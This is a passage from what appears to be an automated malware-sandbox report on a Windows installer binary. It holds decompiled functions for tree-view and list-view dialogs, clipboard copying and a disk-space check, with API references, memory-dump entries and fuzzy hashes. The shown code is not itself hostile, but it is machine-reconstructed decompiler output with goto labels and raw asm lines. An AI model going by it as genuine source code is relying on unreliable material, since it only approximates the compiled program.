						__eflags = _a8 - 0x413;
						if(_a8 != 0x413) {
							L48:
							__eflags = _a8 - 0x111;
							if(_a8 != 0x111) {
								L56:
								__eflags = _a8 - 0x200;
								if(_a8 == 0x200) {
									SendMessageA(_v8, 0x200, _t315, _t315);
								}
								__eflags = _a8 - 0x40b;
								if(_a8 == 0x40b) {
									_t220 =  *0x420454;
									__eflags = _t220 - _t315;
									if(_t220 != _t315) {
										ImageList_Destroy(_t220);
									}
									_t221 =  *0x42046c;
									__eflags = _t221 - _t315;
									if(_t221 != _t315) {
										GlobalFree(_t221);
									}
									 *0x420454 = _t315;
									 *0x42046c = _t315;
									 *0x423ee0 = _t315;
								}
								__eflags = _a8 - 0x40f;
								if(_a8 != 0x40f) {
									L86:
									__eflags = _a8 - 0x420;
									if(_a8 == 0x420) {
										__eflags =  *0x423e99 & 0x00000001;
										if(( *0x423e99 & 0x00000001) != 0) {
											__eflags = _a16 - 0x20;
											_t189 = (0 | _a16 == 0x00000020) << 3;
											__eflags = _t189;
											_t316 = _t189;
											ShowWindow(_v8, _t316);
											ShowWindow(GetDlgItem(_a4, 0x3fe), _t316);
										}
									}
									goto L89;
								} else {
									E004011EF(_t289, _t315, _t315);
									__eflags = _a12 - _t315;
									if(_a12 != _t315) {
										E0040140B(8);
									}
									__eflags = _a16 - _t315;
									if(_a16 == _t315) {
										L73:
										E004011EF(_t289, _t315, _t315);
										__eflags =  *0x423eac - _t315; // 0x4
										_v32 =  *0x42046c;
										_t196 =  *0x423ea8; // 0x7afcf4
										_v60 = 0xf030;
										_v16 = _t315;
										if(__eflags <= 0) {
											L84:
											InvalidateRect(_v8, _t315, 1);
											_t198 =  *0x42365c; // 0x7b767e
											__eflags =  *((intOrPtr*)(_t198 + 0x10)) - _t315;
											if( *((intOrPtr*)(_t198 + 0x10)) != _t315) {
												E00404568(0x3ff, 0xfffffffb, E0040461D(5));
											}
											goto L86;
										} else {
											_t142 = _t196 + 8; // 0x7afcfc
											_t281 = _t142;
											do {
												_t202 =  *((intOrPtr*)(_v32 + _v16 * 4));
												__eflags = _t202 - _t315;
												if(_t202 != _t315) {
													_t291 =  *_t281;
													_v68 = _t202;
													__eflags = _t291 & 0x00000001;
													_v72 = 8;
													if((_t291 & 0x00000001) != 0) {
														_t151 =  &(_t281[4]); // 0x7afd0c
														_v72 = 9;
														_v56 = _t151;
														_t154 =  &(_t281[0]);
														 *_t154 = _t281[0] & 0x000000fe;
														__eflags =  *_t154;
													}
													__eflags = _t291 & 0x00000040;
													if((_t291 & 0x00000040) == 0) {
														_t206 = (_t291 & 0x00000001) + 1;
														__eflags = _t291 & 0x00000010;
														if((_t291 & 0x00000010) != 0) {
															_t206 = _t206 + 3;
															__eflags = _t206;
														}
													} else {
														_t206 = 3;
													}
													_t294 = (_t291 >> 0x00000005 & 0x00000001) + 1;
													__eflags = _t294;
													_v64 = (_t206 << 0x0000000b | _t291 & 0x00000008) + (_t206 << 0x0000000b | _t291 & 0x00000008) | _t291 & 0x00000020;
													SendMessageA(_v8, 0x1102, _t294, _v68);
													SendMessageA(_v8, 0x110d, _t315,  &_v72);
												}
												_v16 = _v16 + 1;
												_t281 =  &(_t281[0x106]);
												__eflags = _v16 -  *0x423eac; // 0x4
											} while (__eflags < 0);
											goto L84;
										}
									} else {
										_t282 = E004012E2( *0x42046c);
										E00401299(_t282);
										_t217 = 0;
										_t289 = 0;
										__eflags = _t282 - _t315;
										if(_t282 <= _t315) {
											L72:
											SendMessageA(_v12, 0x14e, _t289, _t315);
											_a16 = _t282;
											_a8 = 0x420;
											goto L73;
										} else {
											goto L69;
										}
										do {
											L69:
											_t309 = _v20;
											__eflags =  *((intOrPtr*)(_t309 + _t217 * 4)) - _t315;
											if( *((intOrPtr*)(_t309 + _t217 * 4)) != _t315) {
												_t289 = _t289 + 1;
												__eflags = _t289;
											}
											_t217 = _t217 + 1;
											__eflags = _t217 - _t282;
										} while (_t217 < _t282);
										goto L72;
									}
								}
							}
							__eflags = _a12 - 0x3f9;
							if(_a12 != 0x3f9) {
								goto L89;
							}
							__eflags = _a12 >> 0x10 - 1;
							if(_a12 >> 0x10 != 1) {
								goto L89;
							}
							_t227 = SendMessageA(_v12, 0x147, _t315, _t315);
							__eflags = _t227 - 0xffffffff;
							if(_t227 == 0xffffffff) {
								goto L89;
							}
							_t283 = SendMessageA(_v12, 0x150, _t227, _t315);
							__eflags = _t283 - 0xffffffff;
							if(_t283 == 0xffffffff) {
								L54:
								_t283 = 0x20;
								L55:
								E00401299(_t283);
								SendMessageA(_a4, 0x420, _t315, _t283);
								_a12 = 1;
								_a16 = _t315;
								_a8 = 0x40f;
								goto L56;
							}
							_t231 = _v20;
							__eflags =  *((intOrPtr*)(_t231 + _t283 * 4)) - _t315;
							if( *((intOrPtr*)(_t231 + _t283 * 4)) != _t315) {
								goto L55;
							}
							goto L54;
						}
						goto L28;
					}
				} else {
					 *0x423ee0 = _a4;
					_t247 =  *0x423eac; // 0x4
					_t285 = 2;
					_v28 = 0;
					_v16 = _t285;
					 *0x42046c = GlobalAlloc(0x40, _t247 << 2);
					_t250 = LoadBitmapA( *0x423e80, 0x6e);
					 *0x420460 =  *0x420460 | 0xffffffff;
					_v24 = _t250;
					 *0x420468 = SetWindowLongA(_v8, 0xfffffffc, E00404CCB);
					_t252 = ImageList_Create(0x10, 0x10, 0x21, 6, 0);
					 *0x420454 = _t252;
					ImageList_AddMasked(_t252, _v24, 0xff00ff);
					SendMessageA(_v8, 0x1109, _t285,  *0x420454);
					if(SendMessageA(_v8, 0x111c, 0, 0) < 0x10) {
						SendMessageA(_v8, 0x111b, 0x10, 0);
					}
					DeleteObject(_v24);
					_t286 = 0;
					do {
						_t258 =  *((intOrPtr*)(_v20 + _t286 * 4));
						if( *((intOrPtr*)(_v20 + _t286 * 4)) != _t315) {
							if(_t286 != 0x20) {
								_v16 = _t315;
							}
							SendMessageA(_v12, 0x151, SendMessageA(_v12, 0x143, _t315, E004059FF(_t286, _t315, _t320, _t315, _t258)), _t286);
						}
						_t286 = _t286 + 1;
					} while (_t286 < 0x21);
					_t317 = _a16;
					_t287 = _v16;
					_push( *((intOrPtr*)(_t317 + 0x30 + _t287 * 4)));
					_push(0x15);
					E00403D8F(_a4);
					_push( *((intOrPtr*)(_t317 + 0x34 + _t287 * 4)));
					_push(0x16);
					E00403D8F(_a4);
					_t318 = 0;
					_t288 = 0;
					_t328 =  *0x423eac - _t318; // 0x4
					if(_t328 <= 0) {
						L19:
						SetWindowLongA(_v8, 0xfffffff0, GetWindowLongA(_v8, 0xfffffff0) & 0x000000fb);
						goto L20;
					} else {
						_t311 = _v32 + 8;
						_v24 = _t311;
						do {
							_t268 = _t311 + 0x10;
							if( *_t268 != 0) {
								_v60 = _t268;
								_t269 =  *_t311;
								_t302 = 0x20;
								_v84 = _t288;
								_v80 = 0xffff0002;
								_v76 = 0xd;
								_v64 = _t302;
								_v40 = _t318;
								_v68 = _t269 & _t302;
								if((_t269 & 0x00000002) == 0) {
									__eflags = _t269 & 0x00000004;
									if((_t269 & 0x00000004) == 0) {
										 *( *0x42046c + _t318 * 4) = SendMessageA(_v8, 0x1100, 0,  &_v84);
									} else {
										_t288 = SendMessageA(_v8, 0x110a, 3, _t288);
									}
								} else {
									_v76 = 0x4d;
									_v44 = 1;
									_t274 = SendMessageA(_v8, 0x1100, 0,  &_v84);
									_v28 = 1;
									 *( *0x42046c + _t318 * 4) = _t274;
									_t288 =  *( *0x42046c + _t318 * 4);
								}
							}
							_t318 = _t318 + 1;
							_t311 = _v24 + 0x418;
							_t331 = _t318 -  *0x423eac; // 0x4
							_v24 = _t311;
						} while (_t331 < 0);
						if(_v28 != 0) {
							L20:
							if(_v16 != 0) {
								E00403DC4(_v8);
								_t280 = _v32;
								_t315 = 0;
								__eflags = 0;
								goto L23;
							} else {
								ShowWindow(_v12, 5);
								E00403DC4(_v12);
								L89:
								return E00403DF6(_a8, _a12, _a16);
							}
						}
						goto L19;
					}
				}
			}

0x004046e8
0x004046ee
0x004046f0
0x004046f6
0x004046fc
0x004046ff
0x00404709
0x00404712
0x00404715
0x00404718
0x00404940
0x00404940
0x00404947
0x0040495b
0x00404949
0x0040494b
0x0040494e
0x0040494f
0x00404956
0x00404956
0x0040495e
0x00404967
0x00404972
0x00404972
0x00404975
0x00404978
0x00404987
0x00404987
0x0040498e
0x00404a06
0x00404a06
0x00404a09
0x00404a0b
0x00404a0e
0x00404a15
0x00404a23
0x00404a23
0x00404a25
0x00404a28
0x00404a2f
0x00404a31
0x00404a35
0x00404a52
0x00404a56
0x00404a56
0x00404a37
0x00404a44
0x00404a44
0x00404a35
0x00404a2f
0x00000000
0x00404a09
0x00404990
0x00404993
0x0040499e
0x004049a0
0x004049a3
0x004049aa
0x004049af
0x004049b1
0x004049bb
0x004049bb
0x004049bf
0x004049c1
0x004049c4
0x004049c6
0x004049c9
0x004049df
0x004049df
0x004049cb
0x004049cb
0x004049d1
0x004049d3
0x004049da
0x004049d5
0x004049d5
0x004049d5
0x004049d3
0x004049e3
0x004049e5
0x004049ea
0x004049f3
0x004049f4
0x004049fe
0x004049fe
0x00404a00
0x00404a03
0x00404a03
0x004049c4
0x00000000
0x004049b1
0x00404995
0x00404998
0x0040499c
0x00000000
0x00000000
0x00000000
0x0040499c
0x0040497a
0x00404981
0x00000000
0x00000000
0x00000000
0x00404969
0x00404969
0x0040496c
0x00404a59
0x00404a59
0x00404a60
0x00404ad4
0x00404ad4
0x00404adb
0x00404ae7
0x00404ae7
0x00404ae9
0x00404af0
0x00404af2
0x00404af7
0x00404af9
0x00404afc
0x00404afc
0x00404b02
0x00404b07
0x00404b09
0x00404b0c
0x00404b0c
0x00404b12
0x00404b18
0x00404b1e
0x00404b1e
0x00404b24
0x00404b2b
0x00404c78
0x00404c78
0x00404c7f
0x00404c81
0x00404c88
0x00404c8c
0x00404c99
0x00404c99
0x00404c9c
0x00404ca2
0x00404cb4
0x00404cb4
0x00404c88
0x00000000
0x00404b31
0x00404b33
0x00404b38
0x00404b3b
0x00404b3f
0x00404b3f
0x00404b44
0x00404b47
0x00404b88
0x00404b8a
0x00404b94
0x00404b9a
0x00404b9d
0x00404ba2
0x00404ba9
0x00404bac
0x00404c4e
0x00404c54
0x00404c5a
0x00404c5f
0x00404c62
0x00404c73
0x00404c73
0x00000000
0x00404bb2
0x00404bb2
0x00404bb2
0x00404bb5
0x00404bbb
0x00404bbe
0x00404bc0
0x00404bc2
0x00404bc4
0x00404bc7
0x00404bca
0x00404bd1
0x00404bd3
0x00404bd6
0x00404bdd
0x00404be0
0x00404be0
0x00404be0
0x00404be0
0x00404be4
0x00404be7
0x00404bf3
0x00404bf4
0x00404bf7
0x00404bf9
0x00404bf9
0x00404bf9
0x00404be9
0x00404beb
0x00404beb
0x00404c18
0x00404c18
0x00404c19
0x00404c25
0x00404c34
0x00404c34
0x00404c36
0x00404c39
0x00404c42
0x00404c42
0x00000000
0x00404bb5
0x00404b49
0x00404b54
0x00404b57
0x00404b5c
0x00404b5e
0x00404b60
0x00404b62
0x00404b72
0x00404b7c
0x00404b7e
0x00404b81
0x00000000
0x00000000
0x00000000
0x00000000
0x00404b64
0x00404b64
0x00404b64
0x00404b67
0x00404b6a
0x00404b6c
0x00404b6c
0x00404b6c
0x00404b6d
0x00404b6e
0x00404b6e
0x00000000
0x00404b64
0x00404b47
0x00404b2b
0x00404a62
0x00404a68
0x00000000
0x00000000
0x00404a74
0x00404a78
0x00000000
0x00000000
0x00404a88
0x00404a8a
0x00404a8d
0x00000000
0x00000000
0x00404a9f
0x00404aa1
0x00404aa4
0x00404aae
0x00404ab0
0x00404ab1
0x00404ab2
0x00404ac1
0x00404ac3
0x00404aca
0x00404acd
0x00000000
0x00404acd
0x00404aa6
0x00404aa9
0x00404aac
0x00000000
0x00000000
0x00000000
0x00404aac
0x00000000
0x0040496c
0x0040471e
0x00404723
0x00404728
0x0040472d
0x0040472e
0x00404737
0x00404742
0x0040474d
0x00404753
0x00404761
0x00404776
0x0040477b
0x00404786
0x0040478f
0x004047a4
0x004047b5
0x004047c2
0x004047c2
0x004047c7
0x004047cd
0x004047cf
0x004047d2
0x004047d7
0x004047dc
0x004047de
0x004047de
0x004047fe
0x004047fe
0x00404800
0x00404801
0x00404806
0x00404809
0x0040480c
0x00404810
0x00404815
0x0040481a
0x0040481e
0x00404823
0x00404828
0x0040482a
0x0040482c
0x00404832
0x004048fc
0x0040490f
0x00000000
0x00404838
0x0040483b
0x0040483e
0x00404841
0x00404841
0x00404847
0x0040484d
0x00404850
0x00404856
0x00404857
0x0040485c
0x00404865
0x0040486c
0x0040486f
0x00404872
0x00404875
0x004048af
0x004048b1
0x004048da
0x004048b3
0x004048c0
0x004048c0
0x00404877
0x0040487a
0x00404889
0x00404893
0x0040489b
0x004048a2
0x004048aa
0x004048aa
0x00404875
0x004048e0
0x004048e1
0x004048e7
0x004048ed
0x004048ed
0x004048fa
0x00404915
0x00404919
0x00404936
0x0040493b
0x0040493e
0x0040493e
0x00000000
0x0040491b
0x00404920
0x00404929
0x00404cb6
0x00404cc8
0x00404cc8
0x00404919
0x00000000
0x004048fa
0x00404832

APIs

GetDlgItem.USER32 ref: 004046E1
GetDlgItem.USER32 ref: 004046EE
GlobalAlloc.KERNEL32(00000040,00000004), ref: 0040473A
LoadBitmapA.USER32 ref: 0040474D
SetWindowLongA.USER32 ref: 00404767
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 0040477B
ImageList_AddMasked.COMCTL32(00000000,?,00FF00FF), ref: 0040478F
SendMessageA.USER32(?,00001109,00000002), ref: 004047A4
SendMessageA.USER32(?,0000111C,00000000,00000000), ref: 004047B0
SendMessageA.USER32(?,0000111B,00000010,00000000), ref: 004047C2
DeleteObject.GDI32(?), ref: 004047C7
SendMessageA.USER32(?,00000143,00000000,00000000), ref: 004047F2
SendMessageA.USER32(?,00000151,00000000,00000000), ref: 004047FE
SendMessageA.USER32(?,00001100,00000000,?), ref: 00404893
SendMessageA.USER32(?,0000110A,00000003,00000000), ref: 004048BE
SendMessageA.USER32(?,00001100,00000000,?), ref: 004048D2
GetWindowLongA.USER32 ref: 00404901
SetWindowLongA.USER32 ref: 0040490F
ShowWindow.USER32(?,00000005), ref: 00404920
SendMessageA.USER32(?,00000419,00000000,?), ref: 00404A23
SendMessageA.USER32(?,00000147,00000000,00000000), ref: 00404A88
SendMessageA.USER32(?,00000150,00000000,00000000), ref: 00404A9D
SendMessageA.USER32(?,00000420,00000000,00000020), ref: 00404AC1
SendMessageA.USER32(?,00000200,00000000,00000000), ref: 00404AE7
ImageList_Destroy.COMCTL32(?), ref: 00404AFC
GlobalFree.KERNEL32 ref: 00404B0C
SendMessageA.USER32(?,0000014E,00000000,00000000), ref: 00404B7C
SendMessageA.USER32(?,00001102,00000410,?), ref: 00404C25
SendMessageA.USER32(?,0000110D,00000000,00000008), ref: 00404C34
InvalidateRect.USER32(?,00000000,00000001), ref: 00404C54
ShowWindow.USER32(?,00000000), ref: 00404CA2
GetDlgItem.USER32 ref: 00404CAD
ShowWindow.USER32(00000000), ref: 00404CB4

Strings

M, xrefs: 0040487A
~v{, xrefs: 00404C5A
, xrefs: 00404C8C
N, xrefs: 0040495E

Memory Dump Source

Source File: 00000001.00000002.365309590.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.365223611.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.365359552.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.365393252.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365500208.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365509002.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365529662.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N$~v{
API String ID: 1638840714-2288731367
Opcode ID: 2218f254bd768403f12b45b221eec84538c1d5bde26f6f708cdc4201c9d318c0
Instruction ID: 1ebc4e1f5dd1db854d7f91ec63dfd1d34711f9484ded547680f267f962745bc2
Opcode Fuzzy Hash: 2218f254bd768403f12b45b221eec84538c1d5bde26f6f708cdc4201c9d318c0
Instruction Fuzzy Hash: 0802ADB0A00208EFDB20DF65DC45AAE7BB5FB84315F10817AF610BA2E1D7799A41CF58

Uniqueness

Uniqueness Score: -1.00%

Function 00404EB9, Relevance: 65.0, APIs: 36, Strings: 1, Instructions: 278
windowclipboardmemoryCOMMON

Download Yara Rule

C-Code - Quality: 96%

			E00404EB9(struct HWND__* _a4, long _a8, long _a12, unsigned int _a16) {
				struct HWND__* _v8;
				long _v12;
				struct tagRECT _v28;
				void* _v36;
				signed int _v40;
				int _v44;
				int _v48;
				signed int _v52;
				int _v56;
				void* _v60;
				void* _v68;
				void* __ebx;
				void* __edi;
				void* __esi;
				long _t87;
				unsigned int _t92;
				unsigned int _t93;
				int _t94;
				int _t95;
				long _t98;
				void* _t101;
				intOrPtr _t123;
				struct HWND__* _t127;
				int _t149;
				int _t150;
				struct HWND__* _t154;
				struct HWND__* _t158;
				struct HMENU__* _t160;
				long _t162;
				void* _t163;
				short* _t164;

				_t154 =  *0x423664; // 0x0
				_t149 = 0;
				_v8 = _t154;
				if(_a8 != 0x110) {
					__eflags = _a8 - 0x405;
					if(_a8 == 0x405) {
						CloseHandle(CreateThread(0, 0, E00404E4D, GetDlgItem(_a4, 0x3ec), 0,  &_v12));
					}
					__eflags = _a8 - 0x111;
					if(_a8 != 0x111) {
						L17:
						__eflags = _a8 - 0x404;
						if(_a8 != 0x404) {
							L25:
							__eflags = _a8 - 0x7b;
							if(_a8 != 0x7b) {
								goto L20;
							}
							__eflags = _a12 - _t154;
							if(_a12 != _t154) {
								goto L20;
							}
							_t87 = SendMessageA(_t154, 0x1004, _t149, _t149);
							__eflags = _t87 - _t149;
							_a8 = _t87;
							if(_t87 <= _t149) {
								L37:
								return 0;
							}
							_t160 = CreatePopupMenu();
							AppendMenuA(_t160, _t149, 1, E004059FF(_t149, _t154, _t160, _t149, 0xffffffe1));
							_t92 = _a16;
							__eflags = _t92 - 0xffffffff;
							if(_t92 != 0xffffffff) {
								_t150 = _t92;
								_t93 = _t92 >> 0x10;
								__eflags = _t93;
								_t94 = _t93;
							} else {
								GetWindowRect(_t154,  &_v28);
								_t150 = _v28.left;
								_t94 = _v28.top;
							}
							_t95 = TrackPopupMenu(_t160, 0x180, _t150, _t94, _t149, _a4, _t149);
							_t162 = 1;
							__eflags = _t95 - 1;
							if(_t95 == 1) {
								_v60 = _t149;
								_v48 = 0x420478;
								_v44 = 0xfff;
								_a4 = _a8;
								do {
									_a4 = _a4 - 1;
									_t98 = SendMessageA(_v8, 0x102d, _a4,  &_v68);
									__eflags = _a4 - _t149;
									_t162 = _t162 + _t98 + 2;
								} while (_a4 != _t149);
								OpenClipboard(_t149);
								EmptyClipboard();
								_t101 = GlobalAlloc(0x42, _t162);
								_a4 = _t101;
								_t163 = GlobalLock(_t101);
								do {
									_v48 = _t163;
									_t164 = _t163 + SendMessageA(_v8, 0x102d, _t149,  &_v68);
									 *_t164 = 0xa0d;
									_t163 = _t164 + 2;
									_t149 = _t149 + 1;
									__eflags = _t149 - _a8;
								} while (_t149 < _a8);
								GlobalUnlock(_a4);
								SetClipboardData(1, _a4);
								CloseClipboard();
							}
							goto L37;
						}
						__eflags =  *0x42364c - _t149; // 0x0
						if(__eflags == 0) {
							ShowWindow( *0x423e88, 8);
							__eflags =  *0x423f0c - _t149; // 0x0
							if(__eflags == 0) {
								E00404D7B( *((intOrPtr*)( *0x41fc48 + 0x34)), _t149);
							}
							E00403D68(1);
							goto L25;
						}
						 *0x41f840 = 2;
						E00403D68(0x78);
						goto L20;
					} else {
						__eflags = _a12 - 0x403;
						if(_a12 != 0x403) {
							L20:
							return E00403DF6(_a8, _a12, _a16);
						}
						ShowWindow( *0x423650, _t149);
						ShowWindow(_t154, 8);
						E00403DC4(_t154);
						goto L17;
					}
				}
				_v52 = _v52 | 0xffffffff;
				_v40 = _v40 | 0xffffffff;
				_v60 = 2;
				_v56 = 0;
				_v48 = 0;
				_v44 = 0;
				asm("stosd");
				asm("stosd");
				_t123 =  *0x423e90; // 0x7afb48
				_a8 =  *((intOrPtr*)(_t123 + 0x5c));
				_a12 =  *((intOrPtr*)(_t123 + 0x60));
				 *0x423650 = GetDlgItem(_a4, 0x403);
				 *0x423648 = GetDlgItem(_a4, 0x3ee);
				_t127 = GetDlgItem(_a4, 0x3f8);
				 *0x423664 = _t127;
				_v8 = _t127;
				E00403DC4( *0x423650);
				 *0x423654 = E0040461D(4);
				 *0x42366c = 0;
				GetClientRect(_v8,  &_v28);
				_v52 = _v28.right - GetSystemMetrics(0x15);
				SendMessageA(_v8, 0x101b, 0,  &_v60);
				SendMessageA(_v8, 0x1036, 0x4000, 0x4000);
				if(_a8 >= 0) {
					SendMessageA(_v8, 0x1001, 0, _a8);
					SendMessageA(_v8, 0x1026, 0, _a8);
				}
				if(_a12 >= _t149) {
					SendMessageA(_v8, 0x1024, _t149, _a12);
				}
				_push( *((intOrPtr*)(_a16 + 0x30)));
				_push(0x1b);
				E00403D8F(_a4);
				if(( *0x423e98 & 0x00000003) != 0) {
					ShowWindow( *0x423650, _t149);
					if(( *0x423e98 & 0x00000002) != 0) {
						 *0x423650 = _t149;
					} else {
						ShowWindow(_v8, 8);
					}
					E00403DC4( *0x423648);
				}
				_t158 = GetDlgItem(_a4, 0x3ec);
				SendMessageA(_t158, 0x401, _t149, 0x75300000);
				if(( *0x423e98 & 0x00000004) != 0) {
					SendMessageA(_t158, 0x409, _t149, _a12);
					SendMessageA(_t158, 0x2001, _t149, _a8);
				}
				goto L37;
			}

0x00404ec2
0x00404ec8
0x00404ed1
0x00404ed4
0x00405065
0x0040506c
0x00405090
0x00405090
0x00405096
0x004050a3
0x004050c1
0x004050c1
0x004050c8
0x0040511f
0x0040511f
0x00405123
0x00000000
0x00000000
0x00405125
0x00405128
0x00000000
0x00000000
0x00405132
0x00405138
0x0040513a
0x0040513d
0x00405236
0x00000000
0x00405236
0x0040514c
0x00405158
0x0040515e
0x00405161
0x00405164
0x00405179
0x0040517c
0x0040517c
0x0040517f
0x00405166
0x0040516b
0x00405171
0x00405174
0x00405174
0x0040518f
0x00405197
0x00405198
0x0040519a
0x004051a3
0x004051a6
0x004051ad
0x004051b4
0x004051bc
0x004051bc
0x004051ca
0x004051d0
0x004051d3
0x004051d3
0x004051da
0x004051e0
0x004051e9
0x004051f0
0x004051f9
0x004051fb
0x004051fe
0x0040520d
0x0040520f
0x00405215
0x00405216
0x00405217
0x00405217
0x0040521f
0x0040522a
0x00405230
0x00405230
0x00000000
0x0040519a
0x004050ca
0x004050d0
0x00405100
0x00405102
0x00405108
0x00405113
0x00405113
0x0040511a
0x00000000
0x0040511a
0x004050d4
0x004050de
0x00000000
0x004050a5
0x004050a5
0x004050ab
0x004050e3
0x00000000
0x004050ec
0x004050b4
0x004050b9
0x004050bc
0x00000000
0x004050bc
0x004050a3
0x00404eda
0x00404ede
0x00404ee7
0x00404eee
0x00404ef1
0x00404ef4
0x00404ef7
0x00404ef8
0x00404ef9
0x00404f12
0x00404f15
0x00404f1f
0x00404f2e
0x00404f36
0x00404f3e
0x00404f43
0x00404f46
0x00404f52
0x00404f5b
0x00404f64
0x00404f87
0x00404f8d
0x00404f9e
0x00404fa3
0x00404fb1
0x00404fbf
0x00404fbf
0x00404fc4
0x00404fd2
0x00404fd2
0x00404fd7
0x00404fda
0x00404fdf
0x00404feb
0x00404ff4
0x00405001
0x00405010
0x00405003
0x00405008
0x00405008
0x0040501c
0x0040501c
0x00405030
0x00405039
0x00405042
0x00405052
0x0040505e
0x0040505e
0x00000000

APIs

GetDlgItem.USER32 ref: 00404F18
GetDlgItem.USER32 ref: 00404F27
GetClientRect.USER32 ref: 00404F64
GetSystemMetrics.USER32 ref: 00404F6C
SendMessageA.USER32(?,0000101B,00000000,00000002), ref: 00404F8D
SendMessageA.USER32(?,00001036,00004000,00004000), ref: 00404F9E
SendMessageA.USER32(?,00001001,00000000,00000110), ref: 00404FB1
SendMessageA.USER32(?,00001026,00000000,00000110), ref: 00404FBF
SendMessageA.USER32(?,00001024,00000000,?), ref: 00404FD2
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 00404FF4
ShowWindow.USER32(?,00000008), ref: 00405008
GetDlgItem.USER32 ref: 00405029
SendMessageA.USER32(00000000,00000401,00000000,75300000), ref: 00405039
SendMessageA.USER32(00000000,00000409,00000000,?), ref: 00405052
SendMessageA.USER32(00000000,00002001,00000000,00000110), ref: 0040505E
GetDlgItem.USER32 ref: 00404F36

Part of subcall function 00403DC4: SendMessageA.USER32(00000028,?,00000001,00403BF5), ref: 00403DD2

GetDlgItem.USER32 ref: 0040507B
CreateThread.KERNEL32 ref: 00405089
CloseHandle.KERNEL32(00000000), ref: 00405090
ShowWindow.USER32(00000000), ref: 004050B4
ShowWindow.USER32(00000000,00000008), ref: 004050B9
ShowWindow.USER32(00000008), ref: 00405100
SendMessageA.USER32(00000000,00001004,00000000,00000000), ref: 00405132
CreatePopupMenu.USER32 ref: 00405143
AppendMenuA.USER32 ref: 00405158
GetWindowRect.USER32 ref: 0040516B
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 0040518F
SendMessageA.USER32(?,0000102D,00000000,?), ref: 004051CA
OpenClipboard.USER32(00000000), ref: 004051DA
EmptyClipboard.USER32(?,?,00000000,?,00000000), ref: 004051E0
GlobalAlloc.KERNEL32(00000042,?,?,?,00000000,?,00000000), ref: 004051E9
GlobalLock.KERNEL32 ref: 004051F3
SendMessageA.USER32(?,0000102D,00000000,?), ref: 00405207
GlobalUnlock.KERNEL32(00000000,?,?,00000000,?,00000000), ref: 0040521F
SetClipboardData.USER32 ref: 0040522A
CloseClipboard.USER32 ref: 00405230

Strings

{, xrefs: 0040511F

Memory Dump Source

Source File: 00000001.00000002.365309590.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.365223611.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.365359552.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.365393252.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365500208.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365509002.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365529662.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: {
API String ID: 590372296-366298937
Opcode ID: 001334b4ba3c222cf79d50ec4f04ffad4c31a43647bbcf3abe0fe5947dea7136
Instruction ID: d8c2bf4a41f8d47596d7e212a196e63f96e24a60825c263716f9721a4c55cacb
Opcode Fuzzy Hash: 001334b4ba3c222cf79d50ec4f04ffad4c31a43647bbcf3abe0fe5947dea7136
Instruction Fuzzy Hash: 99A13A71900208BFDB219F60DD89EAE7F79FB04355F00817AFA04BA2A0C7799A51DF59

Uniqueness

Uniqueness Score: -1.00%

Function 004041CD, Relevance: 24.8, APIs: 10, Strings: 4, Instructions: 266
stringCOMMON

Download Yara Rule

C-Code - Quality: 78%

			E004041CD(struct HWND__* _a4, signed int _a8, unsigned int _a12, intOrPtr _a16) {
				signed int _v8;
				struct HWND__* _v12;
				long _v16;
				long _v20;
				char _v24;
				long _v28;
				char _v32;
				intOrPtr _v36;
				long _v40;
				signed int _v44;
				CHAR* _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				CHAR* _v68;
				void _v72;
				char _v76;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t81;
				long _t86;
				signed char* _t88;
				void* _t94;
				signed int _t95;
				signed short _t113;
				signed int _t117;
				char* _t122;
				intOrPtr _t124;
				intOrPtr* _t138;
				signed int* _t145;
				intOrPtr _t147;
				signed int _t148;
				signed int _t153;
				struct HWND__* _t159;
				CHAR* _t162;
				int _t163;

				_t81 =  *0x41fc48;
				_v36 = _t81;
				_t162 = ( *(_t81 + 0x3c) << 0xa) + 0x424000;
				_v8 =  *((intOrPtr*)(_t81 + 0x38));
				if(_a8 == 0x40b) {
					E00405282(0x3fb, _t162);
					E00405C3F(_t162);
				}
				if(_a8 != 0x110) {
					L8:
					if(_a8 != 0x111) {
						L20:
						if(_a8 == 0x40f) {
							L22:
							_v8 = _v8 & 0x00000000;
							_v12 = _v12 & 0x00000000;
							E00405282(0x3fb, _t162);
							if(E004055B1(_t180, _t162) == 0) {
								_v8 = 1;
							}
							E004059DD(0x41f440, _t162);
							_t145 = 0;
							_t86 = E00405CFF(0);
							_v16 = _t86;
							if(_t86 == 0) {
								L31:
								E004059DD(0x41f440, _t162);
								_t88 = E00405564(0x41f440);
								if(_t88 != _t145) {
									 *_t88 =  *_t88 & 0x00000000;
								}
								if(GetDiskFreeSpaceA(0x41f440,  &_v20,  &_v28,  &_v16,  &_v40) == 0) {
									_t153 = _a8;
									goto L37;
								} else {
									_t163 = 0x400;
									_t153 = MulDiv(_v20 * _v28, _v16, 0x400);
									_v12 = 1;
									goto L38;
								}
							} else {
								if(0 == 0x41f440) {
									L30:
									_t145 = 0;
									goto L31;
								} else {
									goto L26;
								}
								while(1) {
									L26:
									_t113 = _v16(0x41f440,  &_v44,  &_v24,  &_v32);
									if(_t113 != 0) {
